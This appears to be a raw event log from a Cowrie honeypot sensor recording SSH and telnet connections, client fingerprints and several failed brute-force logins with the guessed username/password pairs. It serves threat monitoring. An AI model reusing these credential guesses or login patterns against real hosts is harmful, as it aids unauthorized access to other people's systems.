{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:09.428415Z","src_ip":"80.94.92.184","session":"b4b90a317342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:10.173791Z","src_ip":"80.94.92.184","session":"b4b90a317342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:11.540993Z","src_ip":"80.94.92.184","session":"b4b90a317342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00286650657654,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:13.212310Z","src_ip":"152.42.224.71","session":"e0b0a2f06eac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59300,"dst_ip":"10.17.0.5","dst_port":23,"session":"e38002b7b669","protocol":"telnet","message":"New connection: 152.42.224.71:59300 (10.17.0.5:23) [session: e38002b7b669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:14.742991Z"}
{"eventid":"cowrie.session.closed","duration":69.85347628593445,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:20.825061Z","src_ip":"152.42.224.71","session":"c566c00828dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":61556,"dst_ip":"10.17.0.5","dst_port":22,"session":"59b8b9b58d93","protocol":"ssh","message":"New connection: 194.59.206.2:61556 (10.17.0.5:22) [session: 59b8b9b58d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:24.477314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:24.481738Z","src_ip":"194.59.206.2","session":"59b8b9b58d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:24.567804Z","src_ip":"194.59.206.2","session":"59b8b9b58d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:24.658141Z","src_ip":"194.59.206.2","session":"59b8b9b58d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39698,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d6d53a3257","protocol":"telnet","message":"New connection: 152.42.224.71:39698 (10.17.0.5:23) [session: a4d6d53a3257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:27.863320Z"}
{"eventid":"cowrie.session.closed","duration":49.66164255142212,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:30.931861Z","src_ip":"152.42.224.71","session":"a2174c92f741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39704,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cfb0f7af6d6","protocol":"telnet","message":"New connection: 152.42.224.71:39704 (10.17.0.5:23) [session: 0cfb0f7af6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:34.383384Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37502,"dst_ip":"10.17.0.5","dst_port":23,"session":"d563dc4339d2","protocol":"telnet","message":"New connection: 152.42.224.71:37502 (10.17.0.5:23) [session: d563dc4339d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:38.145900Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37514,"dst_ip":"10.17.0.5","dst_port":23,"session":"61ac212a5a3c","protocol":"telnet","message":"New connection: 152.42.224.71:37514 (10.17.0.5:23) [session: 61ac212a5a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:40.117070Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37516,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3cb05660df7","protocol":"telnet","message":"New connection: 152.42.224.71:37516 (10.17.0.5:23) [session: a3cb05660df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:45.241360Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38640,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e2b4e8df16","protocol":"telnet","message":"New connection: 152.42.224.71:38640 (10.17.0.5:23) [session: e1e2b4e8df16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:48.431041Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":42650,"dst_ip":"10.17.0.5","dst_port":22,"session":"32ba26aeedf0","protocol":"ssh","message":"New connection: 165.154.227.158:42650 (10.17.0.5:22) [session: 32ba26aeedf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:48.539965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:48.544550Z","src_ip":"165.154.227.158","session":"32ba26aeedf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:48.760734Z","src_ip":"165.154.227.158","session":"32ba26aeedf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vishal","message":"login attempt [root/vishal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:49.656528Z","src_ip":"165.154.227.158","session":"32ba26aeedf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:50.875712Z","src_ip":"165.154.227.158","session":"32ba26aeedf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46426,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bb9a34038c4","protocol":"telnet","message":"New connection: 152.42.224.71:46426 (10.17.0.5:23) [session: 8bb9a34038c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:58.440378Z"}
{"eventid":"cowrie.session.closed","duration":24.92086386680603,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:59.304121Z","src_ip":"152.42.224.71","session":"0cfb0f7af6d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46440,"dst_ip":"10.17.0.5","dst_port":23,"session":"e60cd2c381f1","protocol":"telnet","message":"New connection: 152.42.224.71:46440 (10.17.0.5:23) [session: e60cd2c381f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:03.378551Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40548,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8ba68359fa7","protocol":"telnet","message":"New connection: 152.42.224.71:40548 (10.17.0.5:23) [session: d8ba68359fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:09.579336Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40558,"dst_ip":"10.17.0.5","dst_port":23,"session":"82e5c8e09729","protocol":"telnet","message":"New connection: 152.42.224.71:40558 (10.17.0.5:23) [session: 82e5c8e09729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:10.961904Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35784,"dst_ip":"159.203.135.109","dst_port":22,"session":"14aa37b9dcbb","protocol":"ssh","message":"New connection: 193.37.70.224:35784 (159.203.135.109:22) [session: 14aa37b9dcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:16.268423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:16.273509Z","src_ip":"193.37.70.224","session":"14aa37b9dcbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:16.363443Z","src_ip":"193.37.70.224","session":"14aa37b9dcbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"132465798","message":"login attempt [root/132465798] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:16.636538Z","src_ip":"193.37.70.224","session":"14aa37b9dcbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:17.729912Z","src_ip":"193.37.70.224","session":"14aa37b9dcbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.96455025672913,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:18.588454Z","src_ip":"152.42.224.71","session":"7dbe9340809a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.1273672580719,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:20.990540Z","src_ip":"152.42.224.71","session":"a4d6d53a3257","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41162,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b05d0bf07e","protocol":"telnet","message":"New connection: 152.42.224.71:41162 (10.17.0.5:23) [session: 17b05d0bf07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:21.305976Z"}
{"eventid":"cowrie.session.closed","duration":33.25277590751648,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:21.683698Z","src_ip":"152.42.224.71","session":"e1e2b4e8df16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41172,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e57ea46a559","protocol":"telnet","message":"New connection: 152.42.224.71:41172 (10.17.0.5:23) [session: 0e57ea46a559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:24.381474Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41184,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed1da99d654d","protocol":"telnet","message":"New connection: 152.42.224.71:41184 (10.17.0.5:23) [session: ed1da99d654d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:25.455051Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.74.135","src_port":39902,"dst_ip":"159.203.135.109","dst_port":23,"session":"4df5ca3c98f1","protocol":"telnet","message":"New connection: 134.209.74.135:39902 (159.203.135.109:23) [session: 4df5ca3c98f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:28.391069Z"}
{"eventid":"cowrie.session.closed","duration":29.74464988708496,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:33.123086Z","src_ip":"152.42.224.71","session":"e60cd2c381f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.877493381500244,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:38.118711Z","src_ip":"152.42.224.71","session":"a3cb05660df7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.48505616188049,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:42.925295Z","src_ip":"152.42.224.71","session":"8bb9a34038c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":36004,"dst_ip":"159.203.135.109","dst_port":22,"session":"93afeeeca023","protocol":"ssh","message":"New connection: 147.45.197.250:36004 (159.203.135.109:22) [session: 93afeeeca023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:50.875232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:50.880329Z","src_ip":"147.45.197.250","session":"93afeeeca023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:50.969574Z","src_ip":"147.45.197.250","session":"93afeeeca023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simsim","message":"login attempt [root/simsim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:51.237715Z","src_ip":"147.45.197.250","session":"93afeeeca023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:52.330628Z","src_ip":"147.45.197.250","session":"93afeeeca023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.366472244262695,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:57.945660Z","src_ip":"152.42.224.71","session":"d8ba68359fa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38426,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8b4f9836aa","protocol":"telnet","message":"New connection: 152.42.224.71:38426 (10.17.0.5:23) [session: ad8b4f9836aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:14:59.230244Z"}
{"eventid":"cowrie.session.closed","duration":36.77717471122742,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:02.232087Z","src_ip":"152.42.224.71","session":"ed1da99d654d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.08026909828186,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:04.041935Z","src_ip":"152.42.224.71","session":"82e5c8e09729","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":84.56013655662537,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:04.677114Z","src_ip":"152.42.224.71","session":"61ac212a5a3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0037088394165,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:14.746547Z","src_ip":"152.42.224.71","session":"e38002b7b669","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38398,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28d963412a8","protocol":"telnet","message":"New connection: 152.42.224.71:38398 (10.17.0.5:23) [session: e28d963412a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:16.545206Z"}
{"eventid":"cowrie.session.closed","duration":53.81069493293762,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:18.192040Z","src_ip":"152.42.224.71","session":"0e57ea46a559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.929359912872314,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:18.235201Z","src_ip":"152.42.224.71","session":"17b05d0bf07e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38410,"dst_ip":"10.17.0.5","dst_port":23,"session":"11f6f881d290","protocol":"telnet","message":"New connection: 152.42.224.71:38410 (10.17.0.5:23) [session: 11f6f881d290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:20.579514Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38414,"dst_ip":"10.17.0.5","dst_port":23,"session":"719697c75c41","protocol":"telnet","message":"New connection: 152.42.224.71:38414 (10.17.0.5:23) [session: 719697c75c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:24.303113Z"}
